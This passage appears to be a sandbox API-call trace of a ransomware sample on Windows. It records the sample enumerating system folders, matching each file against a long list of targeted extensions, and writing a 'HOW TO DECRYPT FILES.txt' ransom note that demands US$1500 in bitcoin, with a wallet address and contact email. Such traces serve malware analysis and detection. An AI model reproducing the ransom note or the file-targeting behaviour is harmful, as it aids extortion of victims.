(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0110.674] lstrlenA (lpString="*.accdb") returned 7 [0110.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0110.674] lstrlenA (lpString="*.odb") returned 5 [0110.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.java") returned 0 [0110.674] lstrlenA (lpString="*.java") returned 6 [0110.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0110.674] lstrlenA (lpString="*.asm") returned 5 [0110.674] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0110.675] lstrlenA (lpString="*.pfx") returned 5 [0110.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0110.675] lstrlenA (lpString="*.pem") returned 5 [0110.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0110.675] lstrlenA (lpString="*.p12") returned 5 [0110.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0110.675] lstrlenA (lpString="*.gpg") returned 5 [0110.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0110.675] lstrlenA (lpString="*.vsd") returned 5 [0110.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0110.675] lstrlenA (lpString="*.odg") returned 5 [0110.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0110.675] lstrlenA (lpString="*.raw") returned 5 [0110.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0110.675] lstrlenA (lpString="*.nef") returned 5 [0110.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0110.675] lstrlenA (lpString="*.svg") returned 5 [0110.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0110.675] lstrlenA (lpString="*.psd") returned 5 [0110.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0110.675] lstrlenA (lpString="*.vmx") returned 5 [0110.675] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0110.676] lstrlenA (lpString="*.vmdk") returned 6 [0110.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0110.676] lstrlenA (lpString="*.vdi") returned 5 [0110.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0110.676] lstrlenA (lpString="*.lay6") returned 6 [0110.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0110.676] lstrlenA (lpString="*.mpeg") returned 6 [0110.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0110.676] lstrlenA (lpString="*.djvu") returned 6 [0110.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0110.676] lstrlenA (lpString="*.tiff") returned 6 [0110.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0110.676] lstrlenA (lpString="*.backup") returned 8 [0110.676] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0110.677] lstrlenA (lpString="*.pdf") returned 5 [0110.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0110.677] lstrlenA (lpString="*.cert") returned 6 [0110.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0110.677] lstrlenA (lpString="*.docm") returned 6 [0110.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0110.677] lstrlenA (lpString="*.xlsm") returned 6 [0110.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0110.677] lstrlenA (lpString="*.dwg") returned 5 [0110.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0110.677] lstrlenA (lpString="*.nd") returned 4 [0110.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0110.677] lstrlenA (lpString="*.tlg") returned 5 [0110.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0110.677] lstrlenA (lpString="*.lgb") returned 5 [0110.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0110.677] lstrlenA (lpString="*.mov") returned 5 [0110.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0110.677] lstrlenA (lpString="*.xdw") returned 5 [0110.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0110.677] lstrlenA (lpString="*.ods") returned 5 [0110.677] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0110.677] lstrlenA (lpString="*.wav") returned 5 [0110.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0110.678] lstrlenA (lpString="*.mp3") returned 5 [0110.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0110.678] lstrlenA (lpString="*.aiff") returned 6 [0110.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0110.678] lstrlenA (lpString="*.flac") returned 6 [0110.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0110.678] lstrlenA (lpString="*.m4a") returned 5 [0110.678] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6348aa5d2bd39c221a41286e95c18b97\\Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0110.678] lstrlenA (lpString="*.csv") returned 5 [0110.678] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c99f0b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x4c99f0b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x4c99f0b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x5f600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0110.678] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0110.678] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38da0830, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x38da0830, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x38da0830, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="6e100177db1ef25970ca4a9eba03c352", cAlternateFileName="6E1001~1")) returned 1 [0110.678] lstrcmpA (lpString1=".", lpString2="6e100177db1ef25970ca4a9eba03c352") returned -1 [0110.678] lstrcmpA (lpString1="..", lpString2="6e100177db1ef25970ca4a9eba03c352") returned -1 [0110.678] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0110.678] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="6e100177db1ef25970ca4a9eba03c352" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352" [0110.679] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352") returned 100 [0110.679] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38da0830, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x38da0830, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x38da0830, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0110.679] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0110.679] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38da0830, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x38da0830, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x38da0830, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.679] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0110.679] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0110.679] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38d7a6d0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x38d7a6d0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x38da0830, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x11800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0110.679] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0110.679] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll") returned -1 [0110.679] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll") returned -1 [0110.679] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll") returned -1 [0110.680] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\*.*") returned="*.*" [0110.680] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\" [0110.680] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\") returned="" [0110.680] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\HOW TO DECRYPT FILES.txt" [0110.680] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\6e100177db1ef25970ca4a9eba03c352\\how to decrypt files.txt")) returned 0xffffffff [0110.680] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\6e100177db1ef25970ca4a9eba03c352\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0110.690] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0110.690] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0110.692] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0110.692] CloseHandle (hObject=0x90) returned 1 [0110.692] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll" [0110.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0110.692] lstrlenA (lpString="*.ems") returned 5 [0110.692] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.db") returned 0 [0110.693] lstrlenA (lpString="*.db") returned 4 [0110.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0110.693] lstrlenA (lpString="*.dbf") returned 5 [0110.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0110.693] lstrlenA (lpString="*.myox") returned 6 [0110.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0110.693] lstrlenA (lpString="*.myo") returned 5 [0110.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0110.693] lstrlenA (lpString="*.qbw") returned 5 [0110.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0110.693] lstrlenA (lpString="*.qbb") returned 5 [0110.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0110.693] lstrlenA (lpString="*.qbm") returned 5 [0110.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0110.693] lstrlenA (lpString="*.qbo") returned 5 [0110.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0110.693] lstrlenA (lpString="*.qbx") returned 5 [0110.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0110.693] lstrlenA (lpString="*.qba") returned 5 [0110.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0110.693] lstrlenA (lpString="*.qby") returned 5 [0110.693] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0110.694] lstrlenA (lpString="*.qbj") returned 5 [0110.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0110.694] lstrlenA (lpString="*.ofx") returned 5 [0110.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0110.694] lstrlenA (lpString="*.qif") returned 5 [0110.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0110.694] lstrlenA (lpString="*.mye") returned 5 [0110.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0110.694] lstrlenA (lpString="*.mbox") returned 6 [0110.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0110.694] lstrlenA (lpString="*.eml") returned 5 [0110.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0110.694] lstrlenA (lpString="*.pst") returned 5 [0110.694] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\6e100177db1ef25970ca4a9eba03c352\\Microsoft.VisualStudio.Tools.Applications.Contract.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0110.694] lstrlenA (lpString="*.ost") returned 5 [0110.694] PathMatchSpecA 